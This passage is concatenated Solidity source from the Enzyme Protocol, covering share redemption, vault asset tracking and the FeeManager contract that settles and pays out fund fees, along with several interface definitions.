__assertSharesActionNotTimelocked(_redeemer);
acctToLastSharesAction[_redeemer] = block.timestamp;
}
// When a fund is paused, settling fees will be skipped
if (!__fundIsPaused()) {
// Note that if a fee with `SettlementType.Direct` is charged here (i.e., not `Mint`),
// then those fee shares will be transferred from the user's balance rather
// than reallocated from the sharesQuantity being redeemed.
__preRedeemSharesHook(_redeemer, _sharesQuantity);
}
// Check the shares quantity against the user's balance after settling fees
ERC20 sharesContract = ERC20(address(vaultProxyContract));
require(
_sharesQuantity <= sharesContract.balanceOf(_redeemer),
"__redeemShares: Insufficient shares"
);
// Parse the payout assets given optional params to add or skip assets.
// Note that there is no validation that the _additionalAssets are known assets to
// the protocol. This means that the redeemer could specify a malicious asset,
// but since all state-changing, user-callable functions on this contract share the
// non-reentrant modifier, there is nowhere to perform a reentrancy attack.
payoutAssets_ = __parseRedemptionPayoutAssets(
vaultProxyContract.getTrackedAssets(),
_additionalAssets,
_assetsToSkip
);
require(payoutAssets_.length > 0, "__redeemShares: No payout assets");
// Destroy the shares.
// Must get the shares supply before doing so.
uint256 sharesSupply = sharesContract.totalSupply();
vaultProxyContract.burnShares(_redeemer, _sharesQuantity);
// Calculate and transfer payout asset amounts due to redeemer
payoutAmounts_ = new uint256[](payoutAssets_.length);
address denominationAssetCopy = denominationAsset;
for (uint256 i; i < payoutAssets_.length; i++) {
uint256 assetBalance = __finalizeIfSynthAndGetAssetBalance(
address(vaultProxyContract),
payoutAssets_[i],
true
);
// If all remaining shares are being redeemed, the logic changes slightly
if (_sharesQuantity == sharesSupply) {
payoutAmounts_[i] = assetBalance;
// Remove every tracked asset, except the denomination asset
if (payoutAssets_[i] != denominationAssetCopy) {
vaultProxyContract.removeTrackedAsset(payoutAssets_[i]);
}
} else {
payoutAmounts_[i] = assetBalance.mul(_sharesQuantity).div(sharesSupply);
}
// Transfer payout asset to redeemer
if (payoutAmounts_[i] > 0) {
vaultProxyContract.withdrawAssetTo(payoutAssets_[i], _redeemer, payoutAmounts_[i]);
}
}
emit SharesRedeemed(_redeemer, _sharesQuantity, payoutAssets_, payoutAmounts_);
return (payoutAssets_, payoutAmounts_);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `denominationAsset` variable
/// @return denominationAsset_ The `denominationAsset` variable value
function getDenominationAsset() external view override returns (address denominationAsset_) {
return denominationAsset;
}
/// @notice Gets the routes for the various contracts used by all funds
/// @return dispatcher_ The `DISPATCHER` variable value
/// @return feeManager_ The `FEE_MANAGER` variable value
/// @return fundDeployer_ The `FUND_DEPLOYER` variable value
/// @return integrationManager_ The `INTEGRATION_MANAGER` variable value
/// @return policyManager_ The `POLICY_MANAGER` variable value
/// @return primitivePriceFeed_ The `PRIMITIVE_PRICE_FEED` variable value
/// @return valueInterpreter_ The `VALUE_INTERPRETER` variable value
function getLibRoutes()
external
view
returns (
address dispatcher_,
address feeManager_,
address fundDeployer_,
address integrationManager_,
address policyManager_,
address primitivePriceFeed_,
address valueInterpreter_
)
{
return (
DISPATCHER,
FEE_MANAGER,
FUND_DEPLOYER,
INTEGRATION_MANAGER,
POLICY_MANAGER,
PRIMITIVE_PRICE_FEED,
VALUE_INTERPRETER
);
}
/// @notice Gets the `overridePause` variable
/// @return overridePause_ The `overridePause` variable value
function getOverridePause() external view returns (bool overridePause_) {
return overridePause;
}
/// @notice Gets the `sharesActionTimelock` variable
/// @return sharesActionTimelock_ The `sharesActionTimelock` variable value
function getSharesActionTimelock() external view returns (uint256 sharesActionTimelock_) {
return sharesActionTimelock;
}
/// @notice Gets the `vaultProxy` variable
/// @return vaultProxy_ The `vaultProxy` variable value
function getVaultProxy() external view override returns (address vaultProxy_) {
return vaultProxy;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IComptroller Interface
/// @author Enzyme Council <[email protected]>
interface IComptroller {
enum VaultAction {
None,
BurnShares,
MintShares,
TransferShares,
ApproveAssetSpender,
WithdrawAssetTo,
AddTrackedAsset,
RemoveTrackedAsset
}
function activate(address, bool) external;
function calcGav(bool) external returns (uint256, bool);
function calcGrossShareValue(bool) external returns (uint256, bool);
function callOnExtension(
address,
uint256,
bytes calldata
) external;
function configureExtensions(bytes calldata, bytes calldata) external;
function destruct() external;
function getDenominationAsset() external view returns (address);
function getVaultProxy() external view returns (address);
function init(address, uint256) external;
function permissionedVaultAction(VaultAction, bytes calldata) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../persistent/utils/IMigratableVault.sol";
/// @title IVault Interface
/// @author Enzyme Council <[email protected]>
interface IVault is IMigratableVault {
function addTrackedAsset(address) external;
function approveAssetSpender(
address,
address,
uint256
) external;
function burnShares(address, uint256) external;
function callOnContract(address, bytes calldata) external;
function getAccessor() external view returns (address);
function getOwner() external view returns (address);
function getTrackedAssets() external view returns (address[] memory);
function isTrackedAsset(address) external view returns (bool);
function mintShares(address, uint256) external;
function removeTrackedAsset(address) external;
function transferShares(
address,
address,
uint256
) external;
function withdrawAssetTo(
address,
address,
uint256
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../../../persistent/dispatcher/IDispatcher.sol";
import "../../../../persistent/vault/VaultLibBase1.sol";
import "./IVault.sol";
/// @title VaultLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice The per-release proxiable library contract for VaultProxy
/// @dev The difference in terminology between "asset" and "trackedAsset" is intentional.
/// A fund might actually have asset balances of un-tracked assets,
/// but only tracked assets are used in gav calculations.
/// Note that this contract inherits VaultLibSafeMath (a verbatim Open Zeppelin SafeMath copy)
/// from SharesTokenBase via VaultLibBase1
contract VaultLib is VaultLibBase1, IVault {
using SafeERC20 for ERC20;
// Before updating TRACKED_ASSETS_LIMIT in the future, it is important to consider:
// 1. The highest tracked assets limit ever allowed in the protocol
// 2. That the next value will need to be respected by all future releases
uint256 private constant TRACKED_ASSETS_LIMIT = 20;
modifier onlyAccessor() {
require(msg.sender == accessor, "Only the designated accessor can make this call");
_;
}
/////////////
// GENERAL //
/////////////
/// @notice Sets the account that is allowed to migrate a fund to new releases
/// @param _nextMigrator The account to set as the allowed migrator
/// @dev Set to address(0) to remove the migrator.
function setMigrator(address _nextMigrator) external {
require(msg.sender == owner, "setMigrator: Only the owner can call this function");
address prevMigrator = migrator;
require(_nextMigrator != prevMigrator, "setMigrator: Value already set");
migrator = _nextMigrator;
emit MigratorSet(prevMigrator, _nextMigrator);
}
///////////
// VAULT //
///////////
/// @notice Adds a tracked asset to the fund
/// @param _asset The asset to add
/// @dev Allows addition of already tracked assets to fail silently.
function addTrackedAsset(address _asset) external override onlyAccessor {
if (!isTrackedAsset(_asset)) {
require(
trackedAssets.length < TRACKED_ASSETS_LIMIT,
"addTrackedAsset: Limit exceeded"
);
assetToIsTracked[_asset] = true;
trackedAssets.push(_asset);
emit TrackedAssetAdded(_asset);
}
}
/// @notice Grants an allowance to a spender to use the fund's asset
/// @param _asset The asset for which to grant an allowance
/// @param _target The spender of the allowance
/// @param _amount The amount of the allowance
function approveAssetSpender(
address _asset,
address _target,
uint256 _amount
) external override onlyAccessor {
ERC20 assetContract = ERC20(_asset);
if (assetContract.balanceOf(_target) > 0) {
assetContract.safeApprove(_target, 0);
}
assetContract.safeApprove(_target, _amount);
}
/// @notice Makes an arbitrary call with this contract as the sender
/// @param _contract The contract to call
/// @param _callData The call data for the call
function callOnContract(address _contract, bytes calldata _callData)
external
override
onlyAccessor
{
(bool success, bytes memory returnData) = _contract.call(_callData);
require(success, string(returnData));
}
/// @notice Removes a tracked asset from the fund
/// @param _asset The asset to remove
function removeTrackedAsset(address _asset) external override onlyAccessor {
__removeTrackedAsset(_asset);
}
/// @notice Withdraws an asset from the VaultProxy to a given account
/// @param _asset The asset to withdraw
/// @param _target The account to which to withdraw the asset
/// @param _amount The amount of asset to withdraw
function withdrawAssetTo(
address _asset,
address _target,
uint256 _amount
) external override onlyAccessor {
ERC20(_asset).safeTransfer(_target, _amount);
emit AssetWithdrawn(_asset, _target, _amount);
}
/// @dev Helper to the get the Vault's balance of a given asset
function __getAssetBalance(address _asset) private view returns (uint256 balance_) {
return ERC20(_asset).balanceOf(address(this));
}
/// @dev Helper to remove an asset from a fund's tracked assets.
/// Allows removal of non-tracked asset to fail silently.
function __removeTrackedAsset(address _asset) private {
if (isTrackedAsset(_asset)) {
assetToIsTracked[_asset] = false;
uint256 trackedAssetsCount = trackedAssets.length;
for (uint256 i = 0; i < trackedAssetsCount; i++) {
if (trackedAssets[i] == _asset) {
if (i < trackedAssetsCount - 1) {
trackedAssets[i] = trackedAssets[trackedAssetsCount - 1];
}
trackedAssets.pop();
break;
}
}
emit TrackedAssetRemoved(_asset);
}
}
////////////
// SHARES //
////////////
/// @notice Burns fund shares from a particular account
/// @param _target The account for which to burn shares
/// @param _amount The amount of shares to burn
function burnShares(address _target, uint256 _amount) external override onlyAccessor {
__burn(_target, _amount);
}
/// @notice Mints fund shares to a particular account
/// @param _target The account for which to burn shares
/// @param _amount The amount of shares to mint
function mintShares(address _target, uint256 _amount) external override onlyAccessor {
__mint(_target, _amount);
}
/// @notice Transfers fund shares from one account to another
/// @param _from The account from which to transfer shares
/// @param _to The account to which to transfer shares
/// @param _amount The amount of shares to transfer
function transferShares(
address _from,
address _to,
uint256 _amount
) external override onlyAccessor {
__transfer(_from, _to, _amount);
}
// ERC20 overrides
/// @dev Disallows the standard ERC20 approve() function
function approve(address, uint256) public override returns (bool) {
revert("Unimplemented");
}
/// @notice Gets the `symbol` value of the shares token
/// @return symbol_ The `symbol` value
/// @dev Defers the shares symbol value to the Dispatcher contract
function symbol() public view override returns (string memory symbol_) {
return IDispatcher(creator).getSharesTokenSymbol();
}
/// @dev Disallows the standard ERC20 transfer() function
function transfer(address, uint256) public override returns (bool) {
revert("Unimplemented");
}
/// @dev Disallows the standard ERC20 transferFrom() function
function transferFrom(
address,
address,
uint256
) public override returns (bool) {
revert("Unimplemented");
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `accessor` variable
/// @return accessor_ The `accessor` variable value
function getAccessor() external view override returns (address accessor_) {
return accessor;
}
/// @notice Gets the `creator` variable
/// @return creator_ The `creator` variable value
function getCreator() external view returns (address creator_) {
return creator;
}
/// @notice Gets the `migrator` variable
/// @return migrator_ The `migrator` variable value
function getMigrator() external view returns (address migrator_) {
return migrator;
}
/// @notice Gets the `owner` variable
/// @return owner_ The `owner` variable value
function getOwner() external view override returns (address owner_) {
return owner;
}
/// @notice Gets the `trackedAssets` variable
/// @return trackedAssets_ The `trackedAssets` variable value
function getTrackedAssets() external view override returns (address[] memory trackedAssets_) {
return trackedAssets;
}
/// @notice Check whether an address is a tracked asset of the fund
/// @param _asset The address to check
/// @return isTrackedAsset_ True if the address is a tracked asset of the fund
function isTrackedAsset(address _asset) public view override returns (bool isTrackedAsset_) {
return assetToIsTracked[_asset];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExtension Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for all extensions
interface IExtension {
function activateForFund(bool _isMigration) external;
function deactivateForFund() external;
function receiveCallFromComptroller(
address _comptrollerProxy,
uint256 _actionId,
bytes calldata _callArgs
) external;
function setConfigForFund(bytes calldata _configData) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "../../core/fund/comptroller/IComptroller.sol";
import "../../core/fund/vault/IVault.sol";
import "../../utils/AddressArrayLib.sol";
import "../utils/ExtensionBase.sol";
import "../utils/FundDeployerOwnerMixin.sol";
import "../utils/PermissionedVaultActionMixin.sol";
import "./IFee.sol";
import "./IFeeManager.sol";
/// @title FeeManager Contract
/// @author Enzyme Council <[email protected]>
/// @notice Manages fees for funds
contract FeeManager is
IFeeManager,
ExtensionBase,
FundDeployerOwnerMixin,
PermissionedVaultActionMixin
{
using AddressArrayLib for address[];
using EnumerableSet for EnumerableSet.AddressSet;
using SafeMath for uint256;
event AllSharesOutstandingForcePaidForFund(
address indexed comptrollerProxy,
address payee,
uint256 sharesDue
);
event FeeDeregistered(address indexed fee, string indexed identifier);
event FeeEnabledForFund(
address indexed comptrollerProxy,
address indexed fee,
bytes settingsData
);
event FeeRegistered(
address indexed fee,
string indexed identifier,
FeeHook[] implementedHooksForSettle,
FeeHook[] implementedHooksForUpdate,
bool usesGavOnSettle,
bool usesGavOnUpdate
);
event FeeSettledForFund(
address indexed comptrollerProxy,
address indexed fee,
SettlementType indexed settlementType,
address payer,
address payee,
uint256 sharesDue
);
event SharesOutstandingPaidForFund(
address indexed comptrollerProxy,
address indexed fee,
uint256 sharesDue
);
event FeesRecipientSetForFund(
address indexed comptrollerProxy,
address prevFeesRecipient,
address nextFeesRecipient
);
EnumerableSet.AddressSet private registeredFees;
mapping(address => bool) private feeToUsesGavOnSettle;
mapping(address => bool) private feeToUsesGavOnUpdate;
mapping(address => mapping(FeeHook => bool)) private feeToHookToImplementsSettle;
mapping(address => mapping(FeeHook => bool)) private feeToHookToImplementsUpdate;
mapping(address => address[]) private comptrollerProxyToFees;
mapping(address => mapping(address => uint256))
private comptrollerProxyToFeeToSharesOutstanding;
constructor(address _fundDeployer) public FundDeployerOwnerMixin(_fundDeployer) {}
// EXTERNAL FUNCTIONS
/// @notice Activate already-configured fees for use in the calling fund
function activateForFund(bool) external override {
address vaultProxy = __setValidatedVaultProxy(msg.sender);
address[] memory enabledFees = comptrollerProxyToFees[msg.sender];
for (uint256 i; i < enabledFees.length; i++) {
IFee(enabledFees[i]).activateForFund(msg.sender, vaultProxy);
}
}
/// @notice Deactivate fees for a fund
/// @dev msg.sender is validated during __invokeHook()
function deactivateForFund() external override {
// Settle continuous fees one last time, but without calling Fee.update()
__invokeHook(msg.sender, IFeeManager.FeeHook.Continuous, "", 0, false);
// Force payout of remaining shares outstanding
__forcePayoutAllSharesOutstanding(msg.sender);
// Clean up storage
__deleteFundStorage(msg.sender);
}
/// @notice Receives a dispatched `callOnExtension` from a fund's ComptrollerProxy
/// @param _actionId An ID representing the desired action
/// @param _callArgs Encoded arguments specific to the _actionId
/// @dev This is the only way to call a function on this contract that updates VaultProxy state.
/// For both of these actions, any caller is allowed, so we don't use the caller param.
function receiveCallFromComptroller(
address,
uint256 _actionId,
bytes calldata _callArgs
) external override {
if (_actionId == 0) {
// Settle and update all continuous fees
__invokeHook(msg.sender, IFeeManager.FeeHook.Continuous, "", 0, true);
} else if (_actionId == 1) {
__payoutSharesOutstandingForFees(msg.sender, _callArgs);
} else {
revert("receiveCallFromComptroller: Invalid _actionId");
}
}
/// @notice Enable and configure fees for use in the calling fund
/// @param _configData Encoded config data
/// @dev Caller is expected to be a valid ComptrollerProxy, but there isn't a need to validate.
/// The order of `fees` determines the order in which fees of the same FeeHook will be applied.
/// It is recommended to run ManagementFee before PerformanceFee in order to achieve precise
/// PerformanceFee calcs.
function setConfigForFund(bytes calldata _configData) external override {
(address[] memory fees, bytes[] memory settingsData) = abi.decode(
_configData,
(address[], bytes[])
);
// Sanity checks
require(
fees.length == settingsData.length,
"setConfigForFund: fees and settingsData array lengths unequal"
);
require(fees.isUniqueSet(), "setConfigForFund: fees cannot include duplicates");
// Enable each fee with settings
for (uint256 i; i < fees.length; i++) {
require(isRegisteredFee(fees[i]), "setConfigForFund: Fee is not registered");
// Set fund config on fee
IFee(fees[i]).addFundSettings(msg.sender, settingsData[i]);
// Enable fee for fund
comptrollerProxyToFees[msg.sender].push(fees[i]);
emit FeeEnabledForFund(msg.sender, fees[i], settingsData[i]);
}
}
/// @notice Allows all fees for a particular FeeHook to implement settle() and update() logic
/// @param _hook The FeeHook to invoke
/// @param _settlementData The encoded settlement parameters specific to the FeeHook
/// @param _gav The GAV for a fund if known in the invocating code, otherwise 0
function invokeHook(
FeeHook _hook,
bytes calldata _settlementData,
uint256 _gav
) external override {
__invokeHook(msg.sender, _hook, _settlementData, _gav, true);
}
// PRIVATE FUNCTIONS
/// @dev Helper to destroy local storage to get gas refund,
/// and to prevent further calls to fee manager
function __deleteFundStorage(address _comptrollerProxy) private {
delete comptrollerProxyToFees[_comptrollerProxy];
delete comptrollerProxyToVaultProxy[_comptrollerProxy];
}
/// @dev Helper to force the payout of shares outstanding across all fees.
/// For the current release, all shares in the VaultProxy are assumed to be
/// shares outstanding from fees. If not, then they were sent there by mistake
/// and are otherwise unrecoverable. We can therefore take the VaultProxy's
/// shares balance as the totalSharesOutstanding to payout to the fund owner.
function __forcePayoutAllSharesOutstanding(address _comptrollerProxy) private {
address vaultProxy = getVaultProxyForFund(_comptrollerProxy);
uint256 totalSharesOutstanding = ERC20(vaultProxy).balanceOf(vaultProxy);
if (totalSharesOutstanding == 0) {
return;
}
// Destroy any shares outstanding storage
address[] memory fees = comptrollerProxyToFees[_comptrollerProxy];
for (uint256 i; i < fees.length; i++) {
delete comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][fees[i]];
}
// Distribute all shares outstanding to the fees recipient
address payee = IVault(vaultProxy).getOwner();
__transferShares(_comptrollerProxy, vaultProxy, payee, totalSharesOutstanding);
emit AllSharesOutstandingForcePaidForFund(
_comptrollerProxy,
payee,
totalSharesOutstanding
);
}
/// @dev Helper to get the canonical value of GAV if not yet set and required by fee
function __getGavAsNecessary(
address _comptrollerProxy,
address _fee,
uint256 _gavOrZero
) private returns (uint256 gav_) {
if (_gavOrZero == 0 && feeUsesGavOnUpdate(_fee)) {
// Assumes that any fee that requires GAV would need to revert if invalid or not final
bool gavIsValid;
(gav_, gavIsValid) = IComptroller(_comptrollerProxy).calcGav(true);
require(gavIsValid, "__getGavAsNecessary: Invalid GAV");
} else {
gav_ = _gavOrZero;
}
return gav_;
}
/// @dev Helper to run settle() on all enabled fees for a fund that implement a given hook, and then to
/// optionally run update() on the same fees. This order allows fees an opportunity to update
/// their local state after all VaultProxy state transitions (i.e., minting, burning,
/// transferring shares) have finished. To optimize for the expensive operation of calculating
/// GAV, once one fee requires GAV, we recycle that `gav` value for subsequent fees.
/// Assumes that _gav is either 0 or has already been validated.
function __invokeHook(
address _comptrollerProxy,
FeeHook _hook,
bytes memory _settlementData,
uint256 _gavOrZero,
bool _updateFees
) private {
address[] memory fees = comptrollerProxyToFees[_comptrollerProxy];
if (fees.length == 0) {
return;
}
address vaultProxy = getVaultProxyForFund(_comptrollerProxy);
// This check isn't strictly necessary, but its cost is insignificant,
// and helps to preserve data integrity.
require(vaultProxy != address(0), "__invokeHook: Fund is not active");
// First, allow all fees to implement settle()
uint256 gav = __settleFees(
_comptrollerProxy,
vaultProxy,
fees,
_hook,
_settlementData,
_gavOrZero
);
// Second, allow fees to implement update()
// This function does not allow any further altering of VaultProxy state
// (i.e., burning, minting, or transferring shares)
if (_updateFees) {
__updateFees(_comptrollerProxy, vaultProxy, fees, _hook, _settlementData, gav);
}
}
/// @dev Helper to payout the shares outstanding for the specified fees.
/// Does not call settle() on fees.
/// Only callable via ComptrollerProxy.callOnExtension().
function __payoutSharesOutstandingForFees(address _comptrollerProxy, bytes memory _callArgs)
private
{
address[] memory fees = abi.decode(_callArgs, (address[]));
address vaultProxy = getVaultProxyForFund(msg.sender);
uint256 sharesOutstandingDue;
for (uint256 i; i < fees.length; i++) {
if (!IFee(fees[i]).payout(_comptrollerProxy, vaultProxy)) {
continue;
}
uint256 sharesOutstandingForFee
= comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][fees[i]];
if (sharesOutstandingForFee == 0) {
continue;
}
sharesOutstandingDue = sharesOutstandingDue.add(sharesOutstandingForFee);
// Delete shares outstanding and distribute from VaultProxy to the fees recipient
comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][fees[i]] = 0;
emit SharesOutstandingPaidForFund(_comptrollerProxy, fees[i], sharesOutstandingForFee);
}
if (sharesOutstandingDue > 0) {
__transferShares(
_comptrollerProxy,
vaultProxy,
IVault(vaultProxy).getOwner(),
sharesOutstandingDue
);
}
}
/// @dev Helper to settle a fee
function __settleFee(
address _comptrollerProxy,
address _vaultProxy,
address _fee,
FeeHook _hook,
bytes memory _settlementData,
uint256 _gav
) private {
(SettlementType settlementType, address payer, uint256 sharesDue) = IFee(_fee).settle(
_comptrollerProxy,
_vaultProxy,
_hook,
_settlementData,
_gav
);
if (settlementType == SettlementType.None) {
return;
}
address payee;
if (settlementType == SettlementType.Direct) {
payee = IVault(_vaultProxy).getOwner();
__transferShares(_comptrollerProxy, payer, payee, sharesDue);
} else if (settlementType == SettlementType.Mint) {
payee = IVault(_vaultProxy).getOwner();
__mintShares(_comptrollerProxy, payee, sharesDue);
} else if (settlementType == SettlementType.Burn) {
__burnShares(_comptrollerProxy, payer, sharesDue);
} else if (settlementType == SettlementType.MintSharesOutstanding) {
comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee] = comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee]
.add(sharesDue);
payee = _vaultProxy;
__mintShares(_comptrollerProxy, payee, sharesDue);
} else if (settlementType == SettlementType.BurnSharesOutstanding) {
comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee] = comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee]
.sub(sharesDue);
payer = _vaultProxy;
__burnShares(_comptrollerProxy, payer, sharesDue);
} else {
revert("__settleFee: Invalid SettlementType");
}
emit FeeSettledForFund(_comptrollerProxy, _fee, settlementType, payer, payee, sharesDue);
}
/// @dev Helper to settle fees that implement a given fee hook
function __settleFees(
address _comptrollerProxy,
address _vaultProxy,
address[] memory _fees,
FeeHook _hook,
bytes memory _settlementData,
uint256 _gavOrZero
) private returns (uint256 gav_) {
gav_ = _gavOrZero;
for (uint256 i; i < _fees.length; i++) {
if (!feeSettlesOnHook(_fees[i], _hook)) {
continue;
}
gav_ = __getGavAsNecessary(_comptrollerProxy, _fees[i], gav_);
__settleFee(_comptrollerProxy, _vaultProxy, _fees[i], _hook, _settlementData, gav_);
}
return gav_;
}
/// @dev Helper to update fees that implement a given fee hook
function __updateFees(
address _comptrollerProxy,
address _vaultProxy,
address[] memory _fees,
FeeHook _hook,
bytes memory _settlementData,
uint256 _gavOrZero
) private {
uint256 gav = _gavOrZero;
for (uint256 i; i < _fees.length; i++) {
if (!feeUpdatesOnHook(_fees[i], _hook)) {
continue;
}
gav = __getGavAsNecessary(_comptrollerProxy, _fees[i], gav);
IFee(_fees[i]).update(_comptrollerProxy, _vaultProxy, _hook, _settlementData, gav);
}
}
///////////////////
// FEES REGISTRY //
///////////////////
/// @notice Remove fees from the list of registered fees
/// @param _fees Addresses of fees to be deregistered
function deregisterFees(address[] calldata _fees) external onlyFundDeployerOwner {
require(_fees.length > 0, "deregisterFees: _fees cannot be empty");
for (uint256 i; i < _fees.length; i++) {
require(isRegisteredFee(_fees[i]), "deregisterFees: fee is not registered");
registeredFees.remove(_fees[i]);
emit FeeDeregistered(_fees[i], IFee(_fees[i]).identifier());
}
}
/// @notice Add fees to the list of registered fees
/// @param _fees Addresses of fees to be registered
/// @dev Stores the hooks that a fee implements and whether each implementation uses GAV,
/// which fronts the gas for calls to check if a hook is implemented, and guarantees
/// that these hook implementation return values do not change post-registration.
function registerFees(address[] calldata _fees) external onlyFundDeployerOwner {
require(_fees.length > 0, "registerFees: _fees cannot be empty");
for (uint256 i; i < _fees.length; i++) {
require(!isRegisteredFee(_fees[i]), "registerFees: fee already registered");
registeredFees.add(_fees[i]);
IFee feeContract = IFee(_fees[i]);
(
FeeHook[] memory implementedHooksForSettle,
FeeHook[] memory implementedHooksForUpdate,
bool usesGavOnSettle,
bool usesGavOnUpdate
) = feeContract.implementedHooks();
// Stores the hooks for which each fee implements settle() and update()
for (uint256 j; j < implementedHooksForSettle.length; j++) {
feeToHookToImplementsSettle[_fees[i]][implementedHooksForSettle[j]] = true;
}
for (uint256 j; j < implementedHooksForUpdate.length; j++) {
feeToHookToImplementsUpdate[_fees[i]][implementedHooksForUpdate[j]] = true;
}
// Stores whether each fee requires GAV during its implementations for settle() and update()
if (usesGavOnSettle) {
feeToUsesGavOnSettle[_fees[i]] = true;
}
if (usesGavOnUpdate) {
feeToUsesGavOnUpdate[_fees[i]] = true;
}
emit FeeRegistered(
_fees[i],
feeContract.identifier(),
implementedHooksForSettle,
implementedHooksForUpdate,
usesGavOnSettle,
usesGavOnUpdate
);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Get a list of enabled fees for a given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return enabledFees_ An array of enabled fee addresses
function getEnabledFeesForFund(address _comptrollerProxy)
external
view
returns (address[] memory enabledFees_)
{
return comptrollerProxyToFees[_comptrollerProxy];
}
/// @notice Get the amount of shares outstanding for a particular fee for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _fee The fee address
/// @return sharesOutstanding_ The amount of shares outstanding
function getFeeSharesOutstandingForFund(address _comptrollerProxy, address _fee)
external
view
returns (uint256 sharesOutstanding_)
{
return comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee];
}
/// @notice Get all registered fees
/// @return registeredFees_ A list of all registered fee addresses
function getRegisteredFees() external view returns (address[] memory registeredFees_) {
registeredFees_ = new address[](registeredFees.length());
for (uint256 i; i < registeredFees_.length; i++) {
registeredFees_[i] = registeredFees.at(i);
}
return registeredFees_;
}
/// @notice Checks if a fee implements settle() on a particular hook
/// @param _fee The address of the fee to check
/// @param _hook The FeeHook to check
/// @return settlesOnHook_ True if the fee settles on the given hook
function feeSettlesOnHook(address _fee, FeeHook _hook)
public
view
returns (bool settlesOnHook_)
{
return feeToHookToImplementsSettle[_fee][_hook];
}
/// @notice Checks if a fee implements update() on a particular hook
/// @param _fee The address of the fee to check
/// @param _hook The FeeHook to check
/// @return updatesOnHook_ True if the fee updates on the given hook
function feeUpdatesOnHook(address _fee, FeeHook _hook)
public
view
returns (bool updatesOnHook_)
{
return feeToHookToImplementsUpdate[_fee][_hook];
}
/// @notice Checks if a fee uses GAV in its settle() implementation
/// @param _fee The address of the fee to check
/// @return usesGav_ True if the fee uses GAV during settle() implementation
function feeUsesGavOnSettle(address _fee) public view returns (bool usesGav_) {
return feeToUsesGavOnSettle[_fee];
}
/// @notice Checks if a fee uses GAV in its update() implementation
/// @param _fee The address of the fee to check
/// @return usesGav_ True if the fee uses GAV during update() implementation
function feeUsesGavOnUpdate(address _fee) public view returns (bool usesGav_) {
return feeToUsesGavOnUpdate[_fee];
}
/// @notice Check whether a fee is registered
/// @param _fee The address of the fee to check
/// @return isRegisteredFee_ True if the fee is registered
function isRegisteredFee(address _fee) public view returns (bool isRegisteredFee_) {
return registeredFees.contains(_fee);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./IFeeManager.sol";
/// @title Fee Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for all fees
interface IFee {
function activateForFund(address _comptrollerProxy, address _vaultProxy) external;
function addFundSettings(address _comptrollerProxy, bytes calldata _settingsData) external;
function identifier() external pure returns (string memory identifier_);
function implementedHooks()
external
view
returns (
IFeeManager.FeeHook[] memory implementedHooksForSettle_,
IFeeManager.FeeHook[] memory implementedHooksForUpdate_,
bool usesGavOnSettle_,
bool usesGavOnUpdate_
);
function payout(address _comptrollerProxy, address _vaultProxy)
external
returns (bool isPayable_);
function settle(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook _hook,
bytes calldata _settlementData,
uint256 _gav
)
external
returns (
IFeeManager.SettlementType settlementType_,
address payer_,
uint256 sharesDue_
);
function update(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook _hook,
bytes calldata _settlementData,
uint256 _gav
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @title FeeManager Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the FeeManager
interface IFeeManager {
// No fees for the current release are implemented post-redeemShares
enum FeeHook {
Continuous,
BuySharesSetup,
PreBuyShares,
PostBuyShares,
BuySharesCompleted,
PreRedeemShares
}
enum SettlementType {None, Direct, Mint, Burn, MintSharesOutstanding, BurnSharesOutstanding}
function invokeHook(
FeeHook,
bytes calldata,
uint256
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
